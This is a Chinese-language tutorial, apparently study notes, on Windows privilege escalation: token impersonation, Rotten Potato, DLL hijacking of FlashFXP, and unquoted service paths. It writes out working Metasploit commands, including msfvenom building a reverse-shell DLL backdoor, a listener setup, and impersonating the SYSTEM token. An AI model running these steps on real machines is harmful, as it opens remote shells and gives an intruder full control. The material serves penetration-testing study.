目录
(一)Windows2008&7令牌窃取提升-本地
0x01 前置知识——令牌(TOKEN)
令牌有很多种:
MSF伪造令牌实战
0x02 原理和利用范围
(二)烂土豆提权
1. 原理:
总结
2.环境搭建
(三)win2012-DLL劫持提权应用配合MSF-web权限
1.前置知识
2.漏洞原理
3.复现
总结
(四)不带引号服务路径配合MSF-web
(一)Windows2008&7令牌窃取提升-本地
0x01 前置知识——令牌(TOKEN)
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
MSF伪造令牌实战
假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。
此时,我们可以尝试使用假冒令牌进行提权。
use incognito #进入incognito模块
list_tokens -u #列出令牌
如图,可以看到有两种类型的令牌。
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。
0x02 原理和利用范围
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
令牌窃取方式在Windows2008之后的高版本操作系统已经没用了,只能用于一些低版本系统。比如
- Microsoft Windows XP Professional SP3和之前版本
- Windows Server 2003 SP2和之前的版本
- Windows Server 2003 x64和x64 SP2
- Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)
- Windows Server 2008 x32 x64
- Windows Server 2008 (用于基于Itanium的系统)
- Windows Vista SP1和之前的版本
- Windows Vista x64 SP1和之前的版本
61:权限提升-Redis&Postgre&令牌窃取&进程注入 - zhengna - 博客园
比较老,这里不再介绍。
(二)烂土豆提权
Microsoft 安全公告 MS16-075 - 重要 | Microsoft Learn
首先要了解的是,烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户。
1. 原理:
- 欺骗
NT AUTHORITY\SYSTEM
账户通过NTLM认证到我们控制的TCP终端。- 对这个认证过程使用中间人攻击(NTLM重放),为
NT AUTHORITY\SYSTEM
账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。即非服务类用户权限无法窃取成功。
总结
通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
2.环境搭建
- GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
- windows-kernel-exploits-master.zip
(三)win2012-DLL劫持提权应用配合MSF-web权限
1.前置知识
DLL攻击漫谈
2.漏洞原理
Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索
- 应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
- 当前工作目录Current Working Directory,CWD
- 在PATH环境变量的目录(先系统后用户)
3.复现
通过信息收集,发现目标服务器上存在一个第三方软件flashfxp
本地下载一个相同的软件,使用火绒剑工具进行进程调试分析。由于系统文件和系统目录里的文件我们无法删除修改,因此我们可以重点查看在软件安装目录里的未知文件和数字签名文件。可以选择
ssleay32.dll
文件进行后续的删除替换
msf生成后门木马
test.dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f dll >/opt/test.dll
将
test.dll
上传到目标服务器,修改名字并替换原来的ssleay32.dll
msf启动监听,服务器运行flashfxp软件程序,成功监听到会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6677
exploit
配合令牌窃取,成功提权
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
总结
- dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
- AlwaysInstallElevated提权默认禁用配置,利用成功机会很少
(四)不带引号服务路径配合MSF-web
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行(如图1)。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
- 可执行文件的路径被包含在引号中
比如,有一个服务a.exe
,他的可执行文件的路径是"C:\Program Files\a.exe"
,路径被包含在引号中,则系统会正常解释并执行它,但是如果可执行文件的路径是C:\Program Files\a.exe
,未被包含在引号中,则操作系统会执行空格之前的C:\Program
,而将空格之后的Files\a.exe
当做参数,导致出错,如下图所示
执行命令,检测未被引号包含且还有空格的服务路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
使用msf制作一个后门,命名为
Program.exe
,上传到目标服务器C盘根目录
启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权
sc start "服务名"
msf监听到会话,提权成功